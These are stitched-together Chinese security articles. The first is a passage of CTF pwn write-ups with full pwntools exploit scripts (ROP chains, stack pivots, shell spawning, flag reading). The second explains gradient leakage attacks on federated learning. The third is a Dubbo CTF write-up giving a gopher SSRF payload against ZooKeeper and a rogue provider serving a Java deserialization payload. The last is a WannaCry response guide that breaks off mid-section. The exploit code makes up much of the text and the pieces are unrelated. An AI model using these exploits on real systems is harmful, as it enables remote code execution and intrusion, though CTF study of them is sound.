pl = p64(bss+0x130)+p64(rdi)+p64(0)+p64(rsi_r15)+p64(0x601200)+p64(0x40)+p64(read_addr)+p64(main)
dbg()
p.send(pl)
pause()
p.send('flag')
pl 6、7再次构造，并调整rsp
pl = b'a'*0x100+p64(bss+0x300)+p64(read)
p.send(pl)
pl = b'a'*0x100+p64(bss+0x400)+p64(read)
p.send(pl)
pl 8 ORP送入
syscall = libc_base + libc.sym['syscall']
pl = p64(0)+p64(rdi)+p64(2)+p64(rsi_r15)+p64(0x601200)+p64(0)+p64(syscall)
pl += p64(rdi)+p64(3)+p64(rsi_r15)+p64(0x601200)+p64(0x100)+p64(read_addr)
pl += p64(rdi)+p64(0x601200)+p64(puts_addr)+p64(main)
#dbg()
p.send(pl)
#### move your heart
首先伪随机数很好获取，绕过后到back()，获取了stack地址
sla('num:\n','286129175')
ru('gift:')
stack = int(p.recv(14),16)
li(hex(stack))
首先第一点就是back()里的read就是向stack地址输入的
pl = p64(rdi) + p64(stack+0x18) + p64(system) + b'/bin/sh\x00' + p64(stack-0x8) + p64(leave_ret)
dbg()
p.sendline(pl)
直接栈迁移到pl的前一栈帧处，然后执行
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
rdi = 0x00000000004013d3
leave_ret = 0x00000000004012d6
sla('num:\n','286129175')
ru('gift:')
stack = int(p.recv(14),16)
li(hex(stack))
main = 0x4012D8
back = 0x40129B
read = 0x4012BA
system = 0x4010D4
pl = p64(rdi) + p64(stack+0x18) + p64(system) + b'/bin/sh\x00' + p64(stack-0x8) + p64(leave_ret)
dbg()
p.sendline(pl)
##### og模板解法：
两次leave_ret，构造read(0,stack-0x20,0x30)，重复的第二次是为了调整rsp，控制程序流
pl = b'a'*0x20+p64(stack)+p64(read) #1
p.send(pl)
pl = b'a'*0x20+p64(stack+0x20)+p64(read) #2
p.send(pl)
接下来构造一次正常的rop链泄露libc
pl = p64(stack+0x20+0x10)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #3
p.send(pl)
p.recv()
#libc_base = uu64(r(14))-libc.sym['puts']
libc_base = uu64(r(14))-0xa000000000000 -libc.sym['puts']
li(hex(libc_base))
system= libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
这里选择再跳转到main函数，接收到新的stack地址
sla('num:\n','286129175')
p.recvuntil('Success!!!\n')
ru('gift:')
stack0 = int(p.recv(14),16)
重复刚才的1、2的步骤
pl = b'a'*0x20+p64(stack0)+p64(read) #4
p.send(pl)
pl = b'a'*0x20+p64(stack0+0x20)+p64(read) #5
p.send(pl)
将og送入，从而getshell
r12 = 0x000000000002f709+libc_base
og = libc_base + 0xe3afe
pl = p64(0) + p64(r12)+ p64(0) +p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5
#dbg()
p.send(pl)
og的模板exp:
#encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"
name = './pwn'
debug = 0
if debug:
p = remote('node.yuzhian.com.cn',30686)
else:
p = process(name)
elf = ELF(name)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.terminal = ['gnome-terminal','-x','sh','-c']
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
bss6 = elf.bss() + 0x600
li('bss = '+hex(bss6))
ret = 0x000000000040101a
rdi = 0x00000000004013d3
leave_ret = 0x00000000004012d6
ret = 0x000000000040101a
sla('num:\n','286129175')
ru('gift:')
stack = int(p.recv(14),16)
li(hex(stack))
main = 0x4012D8
back = 0x40129B
read = 0x4012BA
sys = 0x4010D4
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pl = b'a'*0x20+p64(stack)+p64(read) #1
p.send(pl)
pl = b'a'*0x20+p64(stack+0x20)+p64(read) #2
p.send(pl)
'''
pl = p64(bss6+0x20+0x10)+p64(ret)+p64(rdi)+b"/bin/sh"+p64(sys)
'''
pl = p64(stack+0x20+0x10)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #3
p.send(pl)
p.recv()
#libc_base = uu64(r(14))-libc.sym['puts']
libc_base = uu64(r(14))-0xa000000000000 -libc.sym['puts']
li(hex(libc_base))
system= libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
sla('num:\n','286129175')
p.recvuntil('Success!!!\n')
ru('gift:')
stack0 = int(p.recv(14),16)
pl = b'a'*0x20+p64(stack0)+p64(read) #4
p.send(pl)
pl = b'a'*0x20+p64(stack0+0x20)+p64(read) #5
p.send(pl)
r12 = 0x000000000002f709+libc_base
og = libc_base + 0xe3afe
pl = p64(0) + p64(r12)+ p64(0) +p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5
#dbg()
p.send(pl)
itr()
直接套模板相对繁琐，实际做题还是要学会根据程序的漏洞巧妙的进行栈迁移
#### 西湖论剑2023 Message Board
格式字符串漏洞获取栈地址，下一处读入利用栈地址获取libc基址
payload = p64(stack_addr+0xb0+0x28) #rbp
payload += p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x401378)
payload = payload.ljust(0xb0,b'\0')
payload+= p64(stack_addr)+p64(0x4012e0)
p.send(payload)
两次leave_ret将rsp矫正
**orw：**
布置为stack_addr+0x28-8，执行orw
payload = p64(stack_addr+0xb0+0x28)
payload += p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x401378)
payload = payload.ljust(0xb0,b'\0')
payload+= p64(stack_addr)+p64(0x4012e0)
p.send(payload)
orw = p64(pop_rdi)+p64(stack_addr+0xd0)+p64(pop_rsi)+p64(0)+p64(open_addr)
#open(stack_addr+0xd0,0)
orw += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(elf.bss()+0x800)+p64(pop_rdx)+p64(0x50)+p64(elf.plt["read"])
#read(3,elf.bss()+0x800,0x50)
orw += p64(pop_rdi)+p64(elf.bss()+0x800)+p64(elf.plt["puts"])
#puts(elf.bss()+0x800)
orw = orw.ljust(0xa8,b'\0')+b'./flag\x00\x00'
orw+= p64(stack_addr+0x28-8)+p64(0x4012e0)
p.send(orw)
exp：
#encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64
#from ae64 import AE64
#from LibcSearcher import *
context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"
name = './pwn'
debug = 0
if debug:
p = remote('tcp.cloud.dasctf.com',23820)
else:
p = process(name)
libcso = './libc.so.6'
#libcso = './libc-2.31.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)
s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
bss = elf.bss()-0x80
bss4=bss+0x400
li(hex(bss4))
pop_rdi=0x401413
ret=0x40101a
leave=0x4012e0
read=0x401378
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
ru('name:\n')
sl('%28$p')
ru('Hello, ')
stack_addr = int(p.recv(14),16)-0x1a0
li('stack_addr = '+hex(stack_addr))
ru(b'Now, please say something to DASCTF:\n')
payload = p64(stack_addr+0xb0+0x28)
payload += p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x401378)
payload = payload.ljust(0xb0,b'\0')
payload += p64(stack_addr)+p64(0x4012e0)
p.send(payload)
libc_base=l64()-libc.sym['puts']
li('libc_base = '+hex(libc_base))
pop_rsi = libc_base+0x000000000002601f
pop_rdx = libc_base+0x0000000000142c92
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
orw = p64(pop_rdi)+p64(stack_addr+0xd0)+p64(pop_rsi)+p64(0)+p64(open_addr)
#open('./flag\x00\x00',0)
orw += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(elf.bss()+0x800)+p64(pop_rdx)+p64(0x50)+p64(elf.plt["read"])
#read(3,elf.bss()+0x800,0x50)
orw += p64(pop_rdi)+p64(elf.bss()+0x800)+p64(elf.plt["puts"])
#puts(elf.bss()+0x800)
orw = orw.ljust(0xa8,b'\0')+b'./flag\x00\x00'
orw+= p64(stack_addr+0x28-8)+p64(0x4012e0)
p.send(orw)
itr()
**另一种解法mproetct+shellcode：**
mp = p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0x1000)+p64(pop_rdx)+p64(7)+p64(mproetct)
#mproetct(bss,0x1000,7)
mp += p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss+0x600)+p64(pop_rdx)+p64(0x300)+p64(elf.plt["read"])
#read(0,bss+0x600,0x300)
mp += p64(bss+0x600)
#shellcode
mp = mp.ljust(0xb0,b'\0')
mp += p64(stack_addr+0x28-8)+p64(0x4012e0)
p.send(mp)
ru(b'Posted Successfully~\n')
sc = asm(shellcraft.cat(b"./flag"))
p.send(sc)
| 社区文章 |
# 梯度泄露攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在现代多节点的机器学习系统，如分布式训练、协作学习等系统中，交换梯度进行训练是一种被广泛采用的方法。例如对于我们比较了解的联邦学习而言，杨强教授有一句经典的话“数据不动模型动”，意思是说数据留在参与方本地，本地的数据不会泄露给其他参与方，参与方与中心服务器之间通过交互梯度信息进行协作训练。这背后的假设是，共享梯度是没问题的，或者说，各个参与方之间交互梯度是不会泄露数据的。但是事实上并非如此，从共享梯度中获取私有数据是可行的,这就是本文的主题.
## 梯度泄露攻击
为了执行攻击，我们首先随机生成一对伪输入和标签，然后执行通常的前向和反向传播。在从伪数据推导出伪梯度后，不像典型训练中那样优化模型权重，而是优化伪输入和标签，以最小化伪梯度和真实梯度之间的距离，通过匹配梯度使虚拟数据接近原始的数据。当整个优化过程完成后，私有的数据（包括样本和标签）就会被恢复。
这种攻击的危害范围有多大呢？
我们知道分布式训练有两种，如下图所示，分别是中心式分布训练和去中心化分布式训练。
在两种方案中，每个节点首先进行计算，更新其本地权重，然后向其他节点发送梯度。对于中心式训练，梯度首先被聚合，然后返回到每个节点。对于去中心化分布式训练，梯度在相邻节点之间交换。使用本文提出的攻击方案，对于前者而言，参数服务器虽然不存储任何训练数据，但是就可以窃取所有参与方的本地训练数据，而对于后者而言，任何参与方都可以窃取与其交互梯度的参与方的训练数据，所以都是不安全的。
### 形式化
设在每一步t，每个节点i会从其本地数据集采样一个minibatch,来计算梯度，如下所示
这些梯度会在N个服务器上被平均，然后用来更新权重：
给定从其他参与方k获得的梯度
我们的目标是窃取参与方k的训练数据!
为了从梯度中恢复出数据，我们首先随机初始化一对伪输入x’和标签y‘。然后将其输入模型并获取伪梯度
当我们在优化伪梯度让其接近原始梯度的过程中，伪数据也会逐渐接近原始的真实训练数据。
给定某一步的梯度，我们通过最小化如下目标来获得训练数据
上式中的||∇w’-∇w||2是关于伪输入x’和y’可微的，所以可以用标准的基于梯度的方法进行优化。
整个形式化的攻击流程就是这么简单，我们可以来看看示意图
图中，需要更新的变量被粗体边框标记。正常参与方计算∇W，利用其私有训练数据更新参数，攻击者则更新其伪输入和标签，以最小化梯度距离。当优化完成时，攻击者可以从正常参与方那里窃取训练数据。
伪码表示如下
### 实验分析
下图是在MNIST、CIFAR-100、SVHN和LFW数据集上进行攻击的效果。从左到右，迭代次数增多，最后成功恢复了数据，图中倒数第二栏是之前的工作的攻击结果，只恢复了简单的图像和背景而已，最后一栏是原始数据。
关于梯度距离与恢复出的图像之间的关系可以看下图
图中，layer -i表示第i层真实梯度与伪梯度之间的MSE。当梯度距离越小，恢复出的图像与原始图像之间的MSE也越小，恢复的效果也就越好。
### 实战
**基础函数**
将标签转为独热标签
计算交叉熵
权重初始化
### 攻击
打印出原始数据真实标签以及原始图像
使用torch的randn生成随机数来初始化伪数据，并使用模型对伪数据的预测作为伪标签
然后进行训练
打印出每次迭代得到的数据
同样地，我们也可以使用小安的图像进行测试
原图
伪图像
多次迭代中每次生成的图像及变换如下所示
## 改进攻击
上面的方案虽然确实有效，但是也存在一些问题，它不能可靠地提取到真实标签或生成良好质量的伪数据。本小节介绍一种有效的方法来从共享梯度中提取真实标签。该方案证明了关于正确标签激活的分类损失的梯度在(−1,0)，而其他标签的梯度在(0,1)，因此，正确标签和错误标签的梯度的符号是相反的。有了这个规则，我们可以根据共享的梯度识别真实标签。换句话说，真实标签肯定是通过共享交叉熵损失训练得到的神经网络的梯度而泄露的。这使我们能够始终提取真实标签和极大简化原攻击方案的目标，从而恢复出高质量的数据。
### 形式化
设神经网络是在独热编码的标签上使用交叉熵损失进行训练的，其被定义为：
其中x为输入，c为真实标签，y=[y1,y2…]是输出，即logits，yi代表是预测为第i类的置信度。关于每个输出的损失的梯度为：
因为
所以我们有
因此，如果输出的索引有负的梯度的话，我们就可以将其认作真实标签。然而，我们可能无法得到关于输出y的梯度，因为他们并不在对模型W的权限求导得到的共享梯度∇W中。不过连接到输出层中第i个logit的权重WLi的梯度向量∇WLi可以写作
上式中，L指网络共有L层，y=aL是输出层的激活，biL是偏置参数
由于激活向量aL-1是与类索引i独立的，所以我们可以根据∇WLi的符号轻易地识别出真实标签。
因此，真实标签c给预测为:
当使用非负激活函数如ReLU和Sigmoid时，∇WLi和gi的符号是相同的。因此我们可以简单地识别出对应的∇WLi为负的真实标签。通过该规则，很容易从共享梯度∇W中识别出私有训练数据x的真相标签c。
通过上述的推导，我们就得到最终的改进后的攻击方案：
首先是从共享梯度∇W中提取真实标签c ‘，然后随机初始化伪数据x ‘←N(0,1)，之后基于伪数据和提取的标签(x ‘，c ‘)计算伪梯度∇W’
训练的目标是匹配伪梯度和共享梯度，即最小化
基于这个训练目标，我们可以通过梯度下降更新伪数据x’，即
伪码表示如下
### 实战
计算梯度等
训练
训练完毕后会得到恢复过程中保存的图像
可以看到，这些图像很容易就恢复了，经过几次迭代就可以
## 防御
### 梯度压缩
我们知道这种攻击的本质是利用了梯度，那么相关的防御措施自然也是针对梯度进行的。
我们可以将小幅度的梯度修剪为零。当优化目标被修剪时，这种攻击方案更难匹配梯度。下图显示了不同程度的修剪如何防御泄漏。当修剪程度为1% ~
10%时，对攻击几乎没有影响。当修剪程度增加到20%时，恢复图像上存在明显的伪像。当修剪程度比较大时，恢复的图像不再可识别了，看起来就是噪声，这说明梯度压缩可以成功防止泄漏。
### 添加噪声
作为防御，也可以在梯度被共享之前，加上噪声。我们使用高斯噪声和拉普拉斯噪声进行实验，其方差范围从10−1到10−4，实验结果如下
从图中可以看到，防御的效果主要取决于分布方差的大小，与噪声类型无关。当方差为10−4时，不能防止泄漏。对于方差为10−3的噪声，尽管存在伪影，仍然可以执行泄漏。只有当方差大于10−2，且噪声开始影响精度时，恢复出的图像基本不可识别了，方差大于10−2的噪声会导致恢复彻底失败。
## 参考
1.Laal M, Ghodsi S M. Benefits of collaborative learning[J]. Procedia-social
and behavioral sciences, 2012, 31: 486-490.
2.Yang Q, Liu Y, Chen T, et al. Federated machine learning: Concept and
applications[J]. ACM Transactions on Intelligent Systems and Technology
(TIST), 2019, 10(2): 1-19
3.Zhu L, Han S. Deep leakage from gradients[M]//Federated learning. Springer,
Cham, 2020: 17-31.
4.Zhao B, Mopuri K R, Bilen H. idlg: Improved deep leakage from gradients[J].
arXiv preprint arXiv:2001.02610, 2020. | 社区文章 |
## 前言
之前dubbo爆过一些provider的rce洞，比如@Ruilin的CVE-2020-1948，还有一些其他写法导致的不同协议反序列化。分析这些漏洞我们可以看出，dubbo的consumer和provider通信的过程中，对rpc时传递的dubbo协议数据解析后直接进行了反序列化操作。
既然可以通过反序列化攻击provider，那能不能用类似的方法去攻击consumer呢？我们可以通过SSRF攻击Zookeeper结合[@threedream曾经发过的Rogue-Dubbo](https://xz.aliyun.com/t/7354)实现RCE
## 预期思路分析
### 1\. Dubbo consumer反序列化
Dubbo
Consumer和Privoder的通信过程如下图，Dubbo作为一个具备高可用特性的RPC框架，Provider和Consumer都会集群部署多个节点，而节点间的配置信息会注册到Registry中，这里Registry使用的是Zookeeper。而这种RPC框架的通信通常使用序列化+自定义的协议，这里读一下Dubbo源码可以发现Dubbo默认采用的是自定义的Dubbo协议和Hessian序列化。
因为Dubbo默认使用的是Hessian序列化实现方式对RPC中传输的数据进行序列化，通过分析已有的Hessian反序列化链，可以发现使用最泛广的是spring
aop中的一个类，但由于很多的dubbo
consumer不一定使用到spring，因此，存在一定的局限性。通过分析consumer对通信数据的处理过程，也就是decodeBody方法，此处重点关注else分支部分，可以看到RPC调用provider返回数据的解析，跟进CodecSupport.deserialize
protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {
byte flag = header[2];
byte proto = (byte)(flag & 31);
long id = Bytes.bytes2long(header, 4);
ObjectInput in;
if ((flag & -128) == 0) {
...
} else {
Request req = new Request(id);
req.setVersion(Version.getProtocolVersion());
...
try {
Object data;
if (req.isEvent()) {
in = CodecSupport.deserialize(channel.getUrl(), is, proto);
data = this.decodeEventData(channel, in);
...
deserialize中通过id获得对应的反序列化器，然后进行相应的反序列化操作。比如id为3时，返回的是JavaObjectInput，调用的也就是java原生的反序列化。而id是provider返回的数据中的，看decodeBody的实现可以看到`byte
proto = (byte)(flag & 31);`，因此 **如果我们可以控制provider的返回数据** ，那这里就存在一个java反序列化漏洞。
public static ObjectInput deserialize(URL url, InputStream is, byte proto) throws IOException {
Serialization s = getSerialization(url, proto);
return s.deserialize(url, is);
}
public static Serialization getSerialization(URL url, Byte id) throws IOException {
Serialization serialization = getSerializationById(id);
String serializationName = url.getParameter("serialization", "hessian2");
if (serialization != null && (id != 3 && id != 7 && id != 4 || serializationName.equals(ID_SERIALIZATIONNAME_MAP.get(id)))) {
return serialization;
} else {
throw new IOException("Unexpected serialization id:" + id + " received from network, please check if the peer send the right id.");
}
}
### 2\. SSRF攻击Zookeeper
那如何控制provider的返回值呢？dubbo注册的provider地址储存在zookeeper中，如果我们可以控制zookeeper，那就可以更改provider的地址，从而使consumer连接我们的rogue
dubbo provider。
题目给了一个ssrf当作入口，测试发现可以使用gopher。结合给的dockerfile，gopher的ssrf是可以攻击未授权的zookeeper的。
**因此思路就很明确了：gopher打zookeeper使dubbo consumer连接rogue dubbo provider实现RCE。**
攻击原理流程图如下：
socat转发出来看一下zookeeper的通信过程。
socat -v -x tcp-listen:9993,fork tcp-connect:127.0.0.1:2181
zkCli -server 127.0.0.1:9993
可以看到，zookeeper通过心跳包维持同一个tcp连接，socat可以清楚的看到每个包的from
to序号，如果想通过gopher攻击，就需要把最开始那个from 0 to 48的类似握手包的东西放在前面。
这里我没去仔细的研究zookeeper的协议，直接抓包改gopher了。
ls /
?url=gopher://127.0.0.1:9993/_%2500%2500%2500%252d%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2575%2530%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2510%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%250e%2500%2500%2500%2509%2500%2500%2500%2508%2500%2500%2500%2501%252f%2500
用这种方式，我们就能用ssrf攻击zookeeper了。
查看zookeeper中dubbo注册的服务字段结构，可以清楚的发现要更改的值：/dubbo/dubbo.service.DemoService/providers/
而在provider目录下，dubbo又新建了一个urlencode过的url当作path，这就是我们要更改的provider地址。
dubbo%3A%2F%2Fip%3A20890%2Fdubbo.service.DemoService%3Fanyhost%3Dtrue%26application%3Ddubbo-provider%26bean.name%3DServiceBean%3Adubbo.service.DemoService%3A1.0.0%26deprecated%3Dfalse%26dubbo%3D2.0.2%26dynamic%3Dtrue%26generic%3Dfalse%26interface%3Ddubbo.service.DemoService%26methods%3DsayHello%26pid%3D41643%26register%3Dtrue%26release%3D2.7.3%26revision%3D1.0.0%26side%3Dprovider%26serialization%3djava%26timestamp%3D1605961792779%26version%3D1.0.0
因此需要create的path如下：
create /dubbo/dubbo.service.DemoService/providers/dubbo%3A%2F%2F139.199.203.253%3A20890%2Fdubbo.service.DemoService%3Fanyhost%3Dtrue%26application%3Ddubbo-provider%26bean.name%3DServiceBean%3Adubbo.service.DemoService%3A1.0.0%26deprecated%3Dfalse%26dubbo%3D2.0.2%26dynamic%3Dtrue%26generic%3Dfalse%26interface%3Ddubbo.service.DemoService%26methods%3DsayHello%26pid%3D41643%26register%3Dtrue%26release%3D2.7.3%26revision%3D1.0.0%26side%3Dprovider%26serialization%3djava%26timestamp%3D1605961792779%26version%3D1.0.0 139.199.203.253
一开始apache老崩，后来换成了nginx+fpm，结果忘了fpm能rce...有的师傅省去了构造流量这部分的步骤直接代理进去连zk了。
### 3\. rogue dubbo provider实现
threedream已经把dubbo协议写的很清楚了,这里只要改一改几个字段值，改一下序列化数据就行。题目没给pom，因此需要用jrmp listener
fuzz一下Gadget，参考exp:
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 0x20 | 3);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Object o = CC5.getObj();
ByteArrayOutputStream readobjByteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos =new ObjectOutputStream(readobjByteArrayOutputStream);
oos.writeByte(1);
oos.writeObject(o);
Bytes.int2bytes(readobjByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(readobjByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
ServerSocket serverSocket = new ServerSocket(20890);
while(true){
Socket server = serverSocket.accept();
System.out.println("Remote ip：" + server.getRemoteSocketAddress());
DataOutputStream out = new DataOutputStream(server.getOutputStream());
out.write(bytes);
out.flush();
out.close();
server.close();
}
题目环境及所有exp见[github](https://github.com/LFYSec/XCTF2021Final-Dubbo)
## 可能存在的非预期
就在题目刚上前一晚，发现Github Security
Team给Dubbo官方交了一个洞，并且r00t4dm大佬发了一部分[分析](https://t.zsxq.com/bU7Mnai)
出来，而我们的consumer是能直接访问的，当时就觉得是不是要被非预期了。仔细研究了一下，发现ScriptRouter还是注册到了registry中，因此也需要控了zk后才能rce，因此也算是一种解法吧。具体分析参考threedream师傅的分析文章：
<https://articles.zsxq.com/id_b0ngrui87nft.html>
## 参考链接
<https://xz.aliyun.com/t/7354>
<https://www.anquanke.com/post/id/197658> | 社区文章 |
最新勒索软件WannaCrypt病毒感染前后应对措施
simeon
针对WannaCrypt勒索病毒的讨论和技术文章是铺天盖地，大量的技术流派，安全厂家等纷纷献计献策，有安全厂家开发各种安全工具，对安全生态来说是一个好事，但对个人未必就是好事，我们国家很多用户是普通用户是安全小白，如果遭遇WannaCrypt勒索软件，我们该怎么办？是主动积极应对，还是被动等待被病毒感染，这完全取决于您个人选择，笔者战斗在病毒对抗的第一线，将一些经验跟大家分享，希望能对您有所帮助！本文收集了windowsxp-windows2012所有的补丁程序以及360等安全公司的安全工具程序供大家下载，下载地址：<http://pan.baidu.com/s/1boBiHNx>
一.病毒危害
1.1病毒感染的条件
到互联网上乃至技术专家都认为WannaCrypt攻击源头来自于MS17-010漏洞，在现实中很多被感染网络是内网，mssecsvc.exe病毒文件大小只有3M多，其后续加密生成有多个文件，这些文件是从哪里来，内网是跟外网隔离的！笔者整理认为病毒感染是有条件的：
1.Windows7以上操作系统感染几率较高
2.在感染的网络上，如果系统开放了445端口，将被快速感染计算机。
3.内网补丁更新不及时
1.2病毒感染的后果
WannaCrypt勒索病毒被定义为蠕虫病毒，其传播速度非常快，一旦被感染，只有两种途径来解决，一种是支付赎金，另外一种就是重装系统，所有资料全部归零。通过笔者分析，如果是在病毒WannaCrypt发作前，能够成功清除病毒，将可以救回系统，减少损失！360也提供了一款勒索蠕虫病毒文件恢复工具RansomRecovery
，其下载地址：<http://dl.360safe.com/recovery/RansomRecovery.exe>
主要针对勒索病毒成功感染后的恢复，越早恢复，文件被恢复的几率越高
二、 WannaCrypt勒索病毒原理分析
WannaCrypt勒索病毒原理分析笔者再次就不赘述了，详细情况请参阅WanaCrypt0r勒索蠕虫完全分析报告（<http://bobao.360.cn/learning/detail/3853.html）。>
笔者要想说的是病毒感染的三个时间段：
1.病毒感染初阶段，病毒从未知渠道进入网络，病毒开始攻击内网某台主机，对计算机存在漏洞计算机进行攻击，成功后释放mssecsvc.exe文件，并连接固定url（54.153.0.145）:
<http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com；>
a)如果连接成功,则退出程序
b)连接失败则继续攻击
2.病毒感染中阶段
接下来蠕虫开始判断参数个数,小于2时,进入安装流程;大于等于2时,进入服务流程
3.病毒感染后阶段，对磁盘文件进行加密处理，出现勒索软件界面。
三、勒索病毒处理的黄金时间
笔者在实际病毒对抗过程中发现，加固是针对未感染的计算机有用，感染后的计算机加固也是无用的！！！！
在前面病毒运行阶段有两个小时的黄金时间，我想明天大家上班了，如果个人人走关机，则意味做网络是关闭的，计算机是安全的，这是时候第一时间是拔掉网线，然后再开启计算机！！如果网络中已经存在病毒了，那么应该以最快的速度来结束病毒，可以参考文章后面的结束病毒进程，然后是备份文件，最后加固！如果有条件可以利用linux启动盘启动系统，先备份文件，然后再做其他事情！整理了一下具体流程：
1.开机前拔掉网线，不使用网络。
2.若熟悉linux，可以刻盘启动计算机，使用U盘对文件进行备份。
3.使用本文提及的方法清理病毒。
4.使用安全优盘进行系统文件备份，如果没有优盘，则可以将需要备份的文件先行压缩为rar文件，然后再修改为.exe文件。
四、安全处理建议
1.病毒感染前处理
（1）采用后续部分135、139、445等端口加固方法加固。
（2）也可使用360的NSA武器免疫工具检测计算机是否存在漏洞，如图1所示，在windows2003SP1虚拟机中进行检测显示无漏洞。
图1使用360的nsa武器库免疫工具
（3）使用安天免疫工具进行检测和设置，如图2所示，按照运行结果进行设置即可。
图2使用安天免疫工具进行设置
（4）根据系统实际情况安装补丁，我已经收集目前可用的安全工具以及相对应当漏洞补丁程序。下载地址：
2.病毒正在感染，通过netstat
-an命令查看，如果系统出现大量的445连接，说明肯定存在病毒，可以使用以下办法进行杀毒，同时拔掉网线！（另外一种方法就是通过kali等linux启动盘去清除病毒也可以，然后通过U盘直接备份资料）
（1）设置查看文件选项
由于病毒设置了隐藏属性，正常情况下无法查看该文件，需要对文件查看进行设置，即在资源管理器中单击“工具”-“文件夹选项”，如图3所示。
图3 打开文件夹选项设置
去掉“隐藏受保护的操作系统文件（推荐）”、选择“显示隐藏的文件、文件夹和驱动器”、去掉“隐藏已知文件类型的扩展名”，如图4所示，即可查看在windows目录下的病毒隐藏文件。
图4文件夹查看选项设置
（2）结束进程
通过任务管理器，在任务栏上右键单击选择“启动任务管理器”，如图5所示，从进程中去查找mssecsvc.exe和tasksche.exe文件，选中mssecsvc.exe和tasksche.exe，右键单击选择“结束进程树”将病毒程序结束，又可能会反复启动，结束动作要快。以上三个文件一般位于c:\windows目录。
图5结束进程
（3）删除程序
到windows目录将三个文件按照时间排序，一般会显示今天或者比较新的时期，将其删除，如果进程结束后，又启动可来回删除和结束。直到将这三个文件删除为止，有可能到写本文章的时候，已经有病毒变体，但方法相同，删除新生成的文件。
（4）再次查看网络
使用netstat –an命令再次查看网络连接情况，无对外连接情况，一切恢复正常。
可以使用安全计算机下载安全工具Autoruns以及ProcessExplorer，通过光盘刻录软件，到感染病毒计算机中进行清除病毒！软件下载地址：
<https://download.sysinternals.com/files/Autoruns.zip>
<https://download.sysinternals.com/files/ProcessExplorer.zip>
注意，本文所指清除病毒是指勒索软件还未对系统软件进行加密！如果在桌面出现黄色小图标，桌面背景有红色英文字体显示（桌面有窗口弹出带锁图片，Wana
Decryptor2.0），这表明系统已经被感染了。
3.病毒已经感染
如果系统已经被病毒感染，则下载RansomRecovery
（<http://dl.360safe.com/recovery/RansomRecovery.exe> ）进行恢复。
五、病毒原始文件分析
1.文件名称及大小
